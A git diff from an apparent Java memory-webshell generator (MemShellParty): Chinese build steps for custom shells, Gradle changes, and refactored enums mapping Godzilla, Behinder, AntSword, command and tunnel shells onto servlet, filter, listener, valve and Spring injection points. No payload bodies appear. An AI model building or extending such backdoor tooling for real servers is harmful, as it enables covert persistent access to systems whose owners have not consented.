### 参考步骤
|
||||||
|
|
||||||
|
1. 执行 `git clone https://github.com/ReaJason/MemShellParty.git` 下载当前项目到本地
|
||||||
|
2. 在 memshell/src/main/java/com/reajason/javaweb/memshell/shelltool 创建 custom 目录进行自定义内存马的编写
|
||||||
|
3. 执行 `./gradlew :memshell:compileJava` 或 `.\gradlew.bat :memshell:compileJava`
|
||||||
|
4. 在 memshell/build/classes/java/main/com/reajason/javaweb/memshell/shelltool/custom 下可以找到编译好的类文件
|
||||||
|
5. 在生成界面,选择目标服务 - Custom - 挂载类型,上传 class 文件,选择打包方式并生成
|
||||||
@@ -1,65 +0,0 @@
|
|||||||
java {
|
|
||||||
toolchain {
|
|
||||||
languageVersion = JavaLanguageVersion.of(8)
|
|
||||||
}
|
|
||||||
sourceCompatibility = JavaVersion.VERSION_1_8
|
|
||||||
targetCompatibility = JavaVersion.VERSION_1_8
|
|
||||||
}
|
|
||||||
|
|
||||||
group = 'io.github.reajason'
|
|
||||||
description = "MemShell Generator for Java"
|
|
||||||
version = rootProject.version
|
|
||||||
|
|
||||||
// 测试使用 JDK17 进行编译与运行
|
|
||||||
tasks.withType(Test).configureEach {
|
|
||||||
javaLauncher = javaToolchains.launcherFor {
|
|
||||||
languageVersion = JavaLanguageVersion.of(17)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
tasks.named('compileTestJava') {
|
|
||||||
javaCompiler = javaToolchains.compilerFor {
|
|
||||||
languageVersion = JavaLanguageVersion.of(17)
|
|
||||||
}
|
|
||||||
sourceCompatibility = JavaVersion.VERSION_17
|
|
||||||
targetCompatibility = JavaVersion.VERSION_17
|
|
||||||
}
|
|
||||||
|
|
||||||
test {
|
|
||||||
useJUnitPlatform()
|
|
||||||
finalizedBy jacocoTestReport
|
|
||||||
}
|
|
||||||
|
|
||||||
dependencies {
|
|
||||||
implementation project(":memshell-party-common")
|
|
||||||
implementation project(":deserialize")
|
|
||||||
|
|
||||||
implementation project(":memshell")
|
|
||||||
implementation project(":memshell-java8")
|
|
||||||
implementation 'net.bytebuddy:byte-buddy'
|
|
||||||
implementation 'org.ow2.asm:asm-commons'
|
|
||||||
|
|
||||||
implementation 'net.java.dev.jna:jna'
|
|
||||||
implementation 'net.java.dev.jna:jna-platform'
|
|
||||||
|
|
||||||
implementation 'javax.servlet:javax.servlet-api'
|
|
||||||
implementation 'javax.websocket:javax.websocket-api'
|
|
||||||
|
|
||||||
implementation 'org.apache.bcel:bcel'
|
|
||||||
|
|
||||||
implementation 'commons-io:commons-io'
|
|
||||||
implementation 'org.apache.commons:commons-lang3'
|
|
||||||
implementation 'com.squareup.okhttp3:okhttp'
|
|
||||||
implementation 'ch.qos.logback:logback-classic'
|
|
||||||
implementation 'com.fasterxml.jackson.core:jackson-databind'
|
|
||||||
|
|
||||||
implementation 'org.springframework:spring-webmvc'
|
|
||||||
implementation 'org.springframework:spring-webflux'
|
|
||||||
implementation 'io.projectreactor.netty:reactor-netty-core'
|
|
||||||
|
|
||||||
testImplementation platform('org.junit:junit-bom')
|
|
||||||
testImplementation 'org.junit.jupiter:junit-jupiter'
|
|
||||||
testRuntimeOnly 'org.junit.platform:junit-platform-launcher'
|
|
||||||
testImplementation "org.mockito:mockito-core"
|
|
||||||
testImplementation 'org.mockito:mockito-junit-jupiter'
|
|
||||||
}
|
|
||||||
@@ -0,0 +1,55 @@
|
|||||||
|
plugins {
|
||||||
|
id("java")
|
||||||
|
alias(libs.plugins.lombok)
|
||||||
|
id("maven-publish-convention")
|
||||||
|
}
|
||||||
|
|
||||||
|
java {
|
||||||
|
toolchain {
|
||||||
|
languageVersion = JavaLanguageVersion.of(8)
|
||||||
|
}
|
||||||
|
sourceCompatibility = JavaVersion.VERSION_1_8
|
||||||
|
targetCompatibility = JavaVersion.VERSION_1_8
|
||||||
|
}
|
||||||
|
|
||||||
|
group = "io.github.reajason"
|
||||||
|
description = "MemShell Generator for Java"
|
||||||
|
version = rootProject.version
|
||||||
|
|
||||||
|
tasks.compileTestJava {
|
||||||
|
javaCompiler.set(javaToolchains.compilerFor {
|
||||||
|
languageVersion.set(JavaLanguageVersion.of(17))
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
tasks.test {
|
||||||
|
useJUnitPlatform()
|
||||||
|
}
|
||||||
|
|
||||||
|
dependencies {
|
||||||
|
implementation(platform(project(":memshell-party-bom")))
|
||||||
|
implementation(project(":memshell-party-common"))
|
||||||
|
implementation(project(":deserialize"))
|
||||||
|
|
||||||
|
implementation(project(":memshell"))
|
||||||
|
implementation("net.bytebuddy:byte-buddy")
|
||||||
|
implementation("org.ow2.asm:asm-commons")
|
||||||
|
implementation("net.java.dev.jna:jna")
|
||||||
|
implementation("net.java.dev.jna:jna-platform")
|
||||||
|
implementation("javax.servlet:javax.servlet-api")
|
||||||
|
implementation("javax.websocket:javax.websocket-api")
|
||||||
|
implementation("org.apache.bcel:bcel")
|
||||||
|
implementation("commons-io:commons-io")
|
||||||
|
implementation("org.apache.commons:commons-lang3")
|
||||||
|
implementation("com.squareup.okhttp3:okhttp")
|
||||||
|
implementation("ch.qos.logback:logback-classic")
|
||||||
|
implementation("com.fasterxml.jackson.core:jackson-databind")
|
||||||
|
implementation("org.springframework:spring-webmvc")
|
||||||
|
implementation("org.springframework:spring-webflux")
|
||||||
|
implementation("io.projectreactor.netty:reactor-netty-core")
|
||||||
|
testImplementation(platform("org.junit:junit-bom"))
|
||||||
|
testImplementation("org.junit.jupiter:junit-jupiter")
|
||||||
|
testRuntimeOnly("org.junit.platform:junit-platform-launcher")
|
||||||
|
testImplementation("org.mockito:mockito-core")
|
||||||
|
testImplementation("org.mockito:mockito-junit-jupiter")
|
||||||
|
}
|
||||||
@@ -1,8 +1,10 @@
|
|||||||
package com.reajason.javaweb.memshell;
|
package com.reajason.javaweb.memshell;
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.config.*;
|
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||||
import com.reajason.javaweb.memshell.generator.*;
|
import com.reajason.javaweb.memshell.config.InjectorConfig;
|
||||||
import com.reajason.javaweb.memshell.generator.command.CommandGenerator;
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
|
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
||||||
|
import com.reajason.javaweb.memshell.generator.InjectorGenerator;
|
||||||
import com.reajason.javaweb.memshell.server.AbstractShell;
|
import com.reajason.javaweb.memshell.server.AbstractShell;
|
||||||
import com.reajason.javaweb.memshell.utils.CommonUtil;
|
import com.reajason.javaweb.memshell.utils.CommonUtil;
|
||||||
import org.apache.commons.lang3.StringUtils;
|
import org.apache.commons.lang3.StringUtils;
|
||||||
@@ -45,7 +47,7 @@ public class MemShellGenerator {
|
|||||||
shellToolConfig.setShellClass(shellClass);
|
shellToolConfig.setShellClass(shellClass);
|
||||||
}
|
}
|
||||||
|
|
||||||
byte[] shellBytes = generateShellBytes(shellConfig, shellToolConfig);
|
byte[] shellBytes = shellConfig.getShellTool().generateBytes(shellConfig, shellToolConfig);
|
||||||
|
|
||||||
injectorConfig.setInjectorClass(injectorClass);
|
injectorConfig.setInjectorClass(injectorClass);
|
||||||
injectorConfig.setShellClassName(shellToolConfig.getShellClassName());
|
injectorConfig.setShellClassName(shellToolConfig.getShellClassName());
|
||||||
@@ -66,25 +68,4 @@ public class MemShellGenerator {
|
|||||||
.injectorInnerClassBytes(innerClassBytes)
|
.injectorInnerClassBytes(innerClassBytes)
|
||||||
.build();
|
.build();
|
||||||
}
|
}
|
||||||
|
|
||||||
private static byte[] generateShellBytes(ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
|
|
||||||
switch (shellConfig.getShellTool()) {
|
|
||||||
case Godzilla:
|
|
||||||
return new GodzillaGenerator(shellConfig, (GodzillaConfig) shellToolConfig).getBytes();
|
|
||||||
case Command:
|
|
||||||
return new CommandGenerator(shellConfig, (CommandConfig) shellToolConfig).getBytes();
|
|
||||||
case Behinder:
|
|
||||||
return new BehinderGenerator(shellConfig, (BehinderConfig) shellToolConfig).getBytes();
|
|
||||||
case Suo5:
|
|
||||||
return new Suo5Generator(shellConfig, ((Suo5Config) shellToolConfig)).getBytes();
|
|
||||||
case AntSword:
|
|
||||||
return new AntSwordGenerator(shellConfig, (AntSwordConfig) shellToolConfig).getBytes();
|
|
||||||
case NeoreGeorg:
|
|
||||||
return new NeoreGeorgGenerator(shellConfig, (NeoreGeorgConfig) shellToolConfig).getBytes();
|
|
||||||
case Custom:
|
|
||||||
return new CustomShellGenerator(shellConfig, (CustomConfig) shellToolConfig).getBytes();
|
|
||||||
default:
|
|
||||||
throw new UnsupportedOperationException("Unknown shell tool: " + shellConfig.getShellTool());
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
@@ -24,7 +24,8 @@ import com.reajason.javaweb.memshell.packer.jar.AgentJarWithJREAttacherPacker;
|
|||||||
import com.reajason.javaweb.memshell.packer.jar.DefaultJarPacker;
|
import com.reajason.javaweb.memshell.packer.jar.DefaultJarPacker;
|
||||||
import com.reajason.javaweb.memshell.packer.jexl.JEXLPacker;
|
import com.reajason.javaweb.memshell.packer.jexl.JEXLPacker;
|
||||||
import com.reajason.javaweb.memshell.packer.jinjava.JinJavaPacker;
|
import com.reajason.javaweb.memshell.packer.jinjava.JinJavaPacker;
|
||||||
import com.reajason.javaweb.memshell.packer.jsp.DefalutJspPacker;
|
import com.reajason.javaweb.memshell.packer.jsp.ClassLoaderJspPacker;
|
||||||
|
import com.reajason.javaweb.memshell.packer.jsp.DefineClassJspPacker;
|
||||||
import com.reajason.javaweb.memshell.packer.jsp.JspPacker;
|
import com.reajason.javaweb.memshell.packer.jsp.JspPacker;
|
||||||
import com.reajason.javaweb.memshell.packer.jsp.JspxPacker;
|
import com.reajason.javaweb.memshell.packer.jsp.JspxPacker;
|
||||||
import com.reajason.javaweb.memshell.packer.jxpath.JXPathPacker;
|
import com.reajason.javaweb.memshell.packer.jxpath.JXPathPacker;
|
||||||
@@ -68,7 +69,8 @@ public enum Packers {
|
|||||||
* JSP 打包器
|
* JSP 打包器
|
||||||
*/
|
*/
|
||||||
JSP(new JspPacker()),
|
JSP(new JspPacker()),
|
||||||
DefaultJSP(new DefalutJspPacker(), JspPacker.class),
|
ClassLoaderJSP(new ClassLoaderJspPacker(), JspPacker.class),
|
||||||
|
DefineClassJSP(new DefineClassJspPacker(), JspPacker.class),
|
||||||
JSPX(new JspxPacker(), JspPacker.class),
|
JSPX(new JspxPacker(), JspPacker.class),
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -140,10 +142,6 @@ public enum Packers {
|
|||||||
this.parentPacker = parentPacker;
|
this.parentPacker = parentPacker;
|
||||||
}
|
}
|
||||||
|
|
||||||
public static Packer getPacker(Packers packerType) {
|
|
||||||
return null;
|
|
||||||
}
|
|
||||||
|
|
||||||
public static List<Packers> getPackersWithParent(Class<?> parentPacker) {
|
public static List<Packers> getPackersWithParent(Class<?> parentPacker) {
|
||||||
return Stream.of(Packers.values()).filter(p -> Objects.equals(p.getParentPacker(), parentPacker)).collect(Collectors.toList());
|
return Stream.of(Packers.values()).filter(p -> Objects.equals(p.getParentPacker(), parentPacker)).collect(Collectors.toList());
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -7,27 +7,6 @@ import com.reajason.javaweb.memshell.shelltool.command.*;
|
|||||||
import com.reajason.javaweb.memshell.shelltool.godzilla.*;
|
import com.reajason.javaweb.memshell.shelltool.godzilla.*;
|
||||||
import com.reajason.javaweb.memshell.shelltool.neoreg.*;
|
import com.reajason.javaweb.memshell.shelltool.neoreg.*;
|
||||||
import com.reajason.javaweb.memshell.shelltool.suo5.*;
|
import com.reajason.javaweb.memshell.shelltool.suo5.*;
|
||||||
import com.reajason.javaweb.memshell.springwebflux.command.CommandHandlerFunction;
|
|
||||||
import com.reajason.javaweb.memshell.springwebflux.command.CommandHandlerMethod;
|
|
||||||
import com.reajason.javaweb.memshell.springwebflux.command.CommandNettyHandler;
|
|
||||||
import com.reajason.javaweb.memshell.springwebflux.command.CommandWebFilter;
|
|
||||||
import com.reajason.javaweb.memshell.springwebflux.godzilla.GodzillaHandlerFunction;
|
|
||||||
import com.reajason.javaweb.memshell.springwebflux.godzilla.GodzillaHandlerMethod;
|
|
||||||
import com.reajason.javaweb.memshell.springwebflux.godzilla.GodzillaNettyHandler;
|
|
||||||
import com.reajason.javaweb.memshell.springwebflux.godzilla.GodzillaWebFilter;
|
|
||||||
import com.reajason.javaweb.memshell.springwebflux.suo5.Suo5WebFilter;
|
|
||||||
import com.reajason.javaweb.memshell.springwebmvc.antsword.AntSwordControllerHandler;
|
|
||||||
import com.reajason.javaweb.memshell.springwebmvc.antsword.AntSwordInterceptor;
|
|
||||||
import com.reajason.javaweb.memshell.springwebmvc.behinder.BehinderControllerHandler;
|
|
||||||
import com.reajason.javaweb.memshell.springwebmvc.behinder.BehinderInterceptor;
|
|
||||||
import com.reajason.javaweb.memshell.springwebmvc.command.CommandControllerHandler;
|
|
||||||
import com.reajason.javaweb.memshell.springwebmvc.command.CommandInterceptor;
|
|
||||||
import com.reajason.javaweb.memshell.springwebmvc.godzilla.GodzillaControllerHandler;
|
|
||||||
import com.reajason.javaweb.memshell.springwebmvc.godzilla.GodzillaInterceptor;
|
|
||||||
import com.reajason.javaweb.memshell.springwebmvc.neoreg.NeoreGeorgControllerHandler;
|
|
||||||
import com.reajason.javaweb.memshell.springwebmvc.neoreg.NeoreGeorgInterceptor;
|
|
||||||
import com.reajason.javaweb.memshell.springwebmvc.suo5.Suo5ControllerHandler;
|
|
||||||
import com.reajason.javaweb.memshell.springwebmvc.suo5.Suo5Interceptor;
|
|
||||||
import lombok.Getter;
|
import lombok.Getter;
|
||||||
|
|
||||||
import static com.reajason.javaweb.memshell.ShellType.*;
|
import static com.reajason.javaweb.memshell.ShellType.*;
|
||||||
@@ -139,6 +118,8 @@ public enum Server {
|
|||||||
.addShellClass(JAKARTA_LISTENER, GodzillaListener.class)
|
.addShellClass(JAKARTA_LISTENER, GodzillaListener.class)
|
||||||
.addShellClass(VALVE, GodzillaValve.class)
|
.addShellClass(VALVE, GodzillaValve.class)
|
||||||
.addShellClass(JAKARTA_VALVE, GodzillaValve.class)
|
.addShellClass(JAKARTA_VALVE, GodzillaValve.class)
|
||||||
|
.addShellClass(PROXY_VALVE, Godzilla.class)
|
||||||
|
.addShellClass(JAKARTA_PROXY_VALVE, Godzilla.class)
|
||||||
.addShellClass(WEBSOCKET, GodzillaWebSocket.class)
|
.addShellClass(WEBSOCKET, GodzillaWebSocket.class)
|
||||||
.addShellClass(JAKARTA_WEBSOCKET, GodzillaWebSocket.class)
|
.addShellClass(JAKARTA_WEBSOCKET, GodzillaWebSocket.class)
|
||||||
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, GodzillaInterceptor.class)
|
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, GodzillaInterceptor.class)
|
||||||
@@ -167,6 +148,8 @@ public enum Server {
|
|||||||
.addShellClass(JAKARTA_LISTENER, BehinderListener.class)
|
.addShellClass(JAKARTA_LISTENER, BehinderListener.class)
|
||||||
.addShellClass(VALVE, BehinderValve.class)
|
.addShellClass(VALVE, BehinderValve.class)
|
||||||
.addShellClass(JAKARTA_VALVE, BehinderValve.class)
|
.addShellClass(JAKARTA_VALVE, BehinderValve.class)
|
||||||
|
.addShellClass(PROXY_VALVE, Behinder.class)
|
||||||
|
.addShellClass(JAKARTA_PROXY_VALVE, Behinder.class)
|
||||||
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, BehinderInterceptor.class)
|
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, BehinderInterceptor.class)
|
||||||
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, BehinderInterceptor.class)
|
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, BehinderInterceptor.class)
|
||||||
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, BehinderControllerHandler.class)
|
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, BehinderControllerHandler.class)
|
||||||
@@ -185,6 +168,7 @@ public enum Server {
|
|||||||
.addShellClass(FILTER, AntSwordFilter.class)
|
.addShellClass(FILTER, AntSwordFilter.class)
|
||||||
.addShellClass(LISTENER, AntSwordListener.class)
|
.addShellClass(LISTENER, AntSwordListener.class)
|
||||||
.addShellClass(VALVE, AntSwordValve.class)
|
.addShellClass(VALVE, AntSwordValve.class)
|
||||||
|
.addShellClass(PROXY_VALVE, AntSword.class)
|
||||||
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, AntSwordInterceptor.class)
|
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, AntSwordInterceptor.class)
|
||||||
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, AntSwordControllerHandler.class)
|
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, AntSwordControllerHandler.class)
|
||||||
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, AntSword.class)
|
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, AntSword.class)
|
||||||
@@ -205,6 +189,8 @@ public enum Server {
|
|||||||
.addShellClass(JAKARTA_LISTENER, CommandListener.class)
|
.addShellClass(JAKARTA_LISTENER, CommandListener.class)
|
||||||
.addShellClass(VALVE, CommandValve.class)
|
.addShellClass(VALVE, CommandValve.class)
|
||||||
.addShellClass(JAKARTA_VALVE, CommandValve.class)
|
.addShellClass(JAKARTA_VALVE, CommandValve.class)
|
||||||
|
.addShellClass(PROXY_VALVE, Command.class)
|
||||||
|
.addShellClass(JAKARTA_PROXY_VALVE, Command.class)
|
||||||
.addShellClass(WEBSOCKET, CommandWebSocket.class)
|
.addShellClass(WEBSOCKET, CommandWebSocket.class)
|
||||||
.addShellClass(JAKARTA_WEBSOCKET, CommandWebSocket.class)
|
.addShellClass(JAKARTA_WEBSOCKET, CommandWebSocket.class)
|
||||||
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, CommandInterceptor.class)
|
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, CommandInterceptor.class)
|
||||||
@@ -233,6 +219,8 @@ public enum Server {
|
|||||||
.addShellClass(JAKARTA_LISTENER, Suo5Listener.class)
|
.addShellClass(JAKARTA_LISTENER, Suo5Listener.class)
|
||||||
.addShellClass(VALVE, Suo5Valve.class)
|
.addShellClass(VALVE, Suo5Valve.class)
|
||||||
.addShellClass(JAKARTA_VALVE, Suo5Valve.class)
|
.addShellClass(JAKARTA_VALVE, Suo5Valve.class)
|
||||||
|
.addShellClass(PROXY_VALVE, Suo5.class)
|
||||||
|
.addShellClass(JAKARTA_PROXY_VALVE, Suo5.class)
|
||||||
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, Suo5Interceptor.class)
|
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, Suo5Interceptor.class)
|
||||||
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, Suo5Interceptor.class)
|
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, Suo5Interceptor.class)
|
||||||
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, Suo5ControllerHandler.class)
|
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, Suo5ControllerHandler.class)
|
||||||
@@ -256,6 +244,8 @@ public enum Server {
|
|||||||
.addShellClass(JAKARTA_LISTENER, NeoreGeorgListener.class)
|
.addShellClass(JAKARTA_LISTENER, NeoreGeorgListener.class)
|
||||||
.addShellClass(VALVE, NeoreGeorgValve.class)
|
.addShellClass(VALVE, NeoreGeorgValve.class)
|
||||||
.addShellClass(JAKARTA_VALVE, NeoreGeorgValve.class)
|
.addShellClass(JAKARTA_VALVE, NeoreGeorgValve.class)
|
||||||
|
.addShellClass(PROXY_VALVE, NeoreGeorg.class)
|
||||||
|
.addShellClass(JAKARTA_PROXY_VALVE, NeoreGeorg.class)
|
||||||
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, NeoreGeorgInterceptor.class)
|
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, NeoreGeorgInterceptor.class)
|
||||||
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, NeoreGeorgInterceptor.class)
|
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, NeoreGeorgInterceptor.class)
|
||||||
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, NeoreGeorgControllerHandler.class)
|
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, NeoreGeorgControllerHandler.class)
|
||||||
|
|||||||
@@ -1,44 +1,40 @@
|
|||||||
package com.reajason.javaweb.memshell;
|
package com.reajason.javaweb.memshell;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.memshell.config.*;
|
||||||
|
import com.reajason.javaweb.memshell.generator.*;
|
||||||
|
import com.reajason.javaweb.memshell.generator.command.CommandGenerator;
|
||||||
|
|
||||||
|
import java.lang.reflect.Constructor;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2024/11/22
|
* @since 2024/11/22
|
||||||
*/
|
*/
|
||||||
public enum ShellTool {
|
public enum ShellTool {
|
||||||
/**
|
Godzilla(GodzillaGenerator.class, GodzillaConfig.class),
|
||||||
* 哥斯拉
|
Command(CommandGenerator.class, CommandConfig.class),
|
||||||
*/
|
Behinder(BehinderGenerator.class, BehinderConfig.class),
|
||||||
Godzilla,
|
Suo5(Suo5Generator.class, Suo5Config.class),
|
||||||
|
AntSword(AntSwordGenerator.class, AntSwordConfig.class),
|
||||||
|
NeoreGeorg(NeoreGeorgGenerator.class, NeoreGeorgConfig.class),
|
||||||
|
Custom(CustomShellGenerator.class, CustomConfig.class);
|
||||||
|
|
||||||
/**
|
private final Class<? extends ShellGenerator> generatorClass;
|
||||||
* 冰蝎
|
private final Class<? extends ShellToolConfig> configClass;
|
||||||
*/
|
|
||||||
Behinder,
|
|
||||||
|
|
||||||
/**
|
ShellTool(Class<? extends ShellGenerator> generatorClass, Class<? extends ShellToolConfig> configClass) {
|
||||||
* 蚁剑
|
this.generatorClass = generatorClass;
|
||||||
*/
|
this.configClass = configClass;
|
||||||
AntSword,
|
}
|
||||||
|
|
||||||
/**
|
public byte[] generateBytes(ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
|
||||||
* 命令回显
|
try {
|
||||||
*/
|
Constructor<? extends ShellGenerator> constructor =
|
||||||
Command,
|
generatorClass.getConstructor(ShellConfig.class, configClass);
|
||||||
|
ShellGenerator generator = constructor.newInstance(shellConfig, configClass.cast(shellToolConfig));
|
||||||
/**
|
return generator.getBytes();
|
||||||
* Suo5 隧道代理 <a href="https://github.com/zema1/suo5">zema1/suo5</a>
|
} catch (Exception e) {
|
||||||
*/
|
throw new RuntimeException("Failed to create generator for " + this, e);
|
||||||
Suo5,
|
}
|
||||||
|
}
|
||||||
/**
|
|
||||||
* Neo-reGeorg <a href="https://github.com/L-codes/Neo-reGeorg">L-codes/Neo-reGeorg</a>
|
|
||||||
*/
|
|
||||||
NeoreGeorg,
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 自定义
|
|
||||||
*/
|
|
||||||
Custom,
|
|
||||||
|
|
||||||
;
|
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -6,15 +6,18 @@ package com.reajason.javaweb.memshell;
|
|||||||
*/
|
*/
|
||||||
public class ShellType {
|
public class ShellType {
|
||||||
|
|
||||||
|
public static final String JAKARTA = "Jakarta";
|
||||||
public static final String SERVLET = "Servlet";
|
public static final String SERVLET = "Servlet";
|
||||||
public static final String JAKARTA_SERVLET = "JakartaServlet";
|
public static final String JAKARTA_SERVLET = JAKARTA + SERVLET;
|
||||||
public static final String FILTER = "Filter";
|
public static final String FILTER = "Filter";
|
||||||
public static final String JAKARTA_FILTER = "JakartaFilter";
|
public static final String JAKARTA_FILTER = JAKARTA + FILTER;
|
||||||
public static final String LISTENER = "Listener";
|
public static final String LISTENER = "Listener";
|
||||||
public static final String JAKARTA_LISTENER = "JakartaListener";
|
public static final String JAKARTA_LISTENER = JAKARTA + LISTENER;
|
||||||
|
|
||||||
public static final String VALVE = "Valve";
|
public static final String VALVE = "Valve";
|
||||||
public static final String JAKARTA_VALVE = "JakartaValve";
|
public static final String JAKARTA_VALVE = JAKARTA + VALVE;
|
||||||
|
public static final String PROXY_VALVE = "Proxy" + VALVE;
|
||||||
|
public static final String JAKARTA_PROXY_VALVE = JAKARTA + PROXY_VALVE;
|
||||||
|
|
||||||
public static final String NETTY_HANDLER = "NettyHandler";
|
public static final String NETTY_HANDLER = "NettyHandler";
|
||||||
|
|
||||||
|
|||||||
+17
-3
@@ -1,12 +1,13 @@
|
|||||||
package com.reajason.javaweb.memshell.generator;
|
package com.reajason.javaweb.memshell.generator;
|
||||||
|
|
||||||
import com.reajason.javaweb.ClassBytesShrink;
|
import com.reajason.javaweb.ClassBytesShrink;
|
||||||
import com.reajason.javaweb.buddy.ByPassJavaModuleInterceptor;
|
|
||||||
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
|
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
|
||||||
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
|
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
|
||||||
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
|
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
|
||||||
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
||||||
|
import com.reajason.javaweb.memshell.server.AbstractShell;
|
||||||
import net.bytebuddy.ByteBuddy;
|
import net.bytebuddy.ByteBuddy;
|
||||||
import net.bytebuddy.dynamic.DynamicType;
|
import net.bytebuddy.dynamic.DynamicType;
|
||||||
|
|
||||||
@@ -27,11 +28,24 @@ public abstract class ByteBuddyShellGenerator<T extends ShellToolConfig> impleme
|
|||||||
|
|
||||||
@Override
|
@Override
|
||||||
public byte[] getBytes() {
|
public byte[] getBytes() {
|
||||||
|
Class<?> shellClass = shellToolConfig.getShellClass();
|
||||||
|
String shellClassName = shellToolConfig.getShellClassName();
|
||||||
DynamicType.Builder<?> builder = build(new ByteBuddy()
|
DynamicType.Builder<?> builder = build(new ByteBuddy()
|
||||||
.redefine(shellToolConfig.getShellClass())
|
.redefine(shellClass)
|
||||||
.name(shellToolConfig.getShellClassName())
|
.name(shellClassName)
|
||||||
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion())));
|
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion())));
|
||||||
|
|
||||||
|
String shellType = shellConfig.getShellType();
|
||||||
|
AbstractShell shell = shellConfig.getServer().getShell();
|
||||||
|
|
||||||
|
if (ShellType.LISTENER.equals(shellType) || ShellType.JAKARTA_LISTENER.equals(shellType)) {
|
||||||
|
builder = ListenerGenerator.build(builder, shell.getListenerInterceptor(), shellClass, shellClassName);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (ShellType.VALVE.equals(shellType) || ShellType.JAKARTA_VALVE.equals(shellType)) {
|
||||||
|
builder = ValveGenerator.build(builder, shell);
|
||||||
|
}
|
||||||
|
|
||||||
if (shellConfig.isJakarta()) {
|
if (shellConfig.isJakarta()) {
|
||||||
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
|
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
|
||||||
}
|
}
|
||||||
|
|||||||
+13
-22
@@ -1,20 +1,19 @@
|
|||||||
package com.reajason.javaweb.memshell.generator;
|
package com.reajason.javaweb.memshell.generator;
|
||||||
|
|
||||||
import com.reajason.javaweb.buddy.MethodCallReplaceVisitorWrapper;
|
import com.reajason.javaweb.buddy.MethodCallReplaceVisitorWrapper;
|
||||||
import com.reajason.javaweb.memshell.utils.CommonUtil;
|
|
||||||
import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
|
import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
|
||||||
import net.bytebuddy.ByteBuddy;
|
|
||||||
import net.bytebuddy.asm.Advice;
|
import net.bytebuddy.asm.Advice;
|
||||||
import net.bytebuddy.asm.AsmVisitorWrapper;
|
import net.bytebuddy.asm.AsmVisitorWrapper;
|
||||||
import net.bytebuddy.description.modifier.Ownership;
|
import net.bytebuddy.description.modifier.Ownership;
|
||||||
import net.bytebuddy.description.modifier.Visibility;
|
import net.bytebuddy.description.modifier.Visibility;
|
||||||
|
import net.bytebuddy.description.type.TypeDescription;
|
||||||
import net.bytebuddy.dynamic.DynamicType;
|
import net.bytebuddy.dynamic.DynamicType;
|
||||||
import net.bytebuddy.dynamic.loading.ClassLoadingStrategy;
|
|
||||||
import net.bytebuddy.implementation.FixedValue;
|
import net.bytebuddy.implementation.FixedValue;
|
||||||
|
|
||||||
import java.util.Collections;
|
import java.util.Collections;
|
||||||
|
|
||||||
import static net.bytebuddy.matcher.ElementMatchers.named;
|
import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||||
|
import static net.bytebuddy.matcher.ElementMatchers.takesArguments;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
@@ -22,18 +21,8 @@ import static net.bytebuddy.matcher.ElementMatchers.named;
|
|||||||
*/
|
*/
|
||||||
public class ListenerGenerator {
|
public class ListenerGenerator {
|
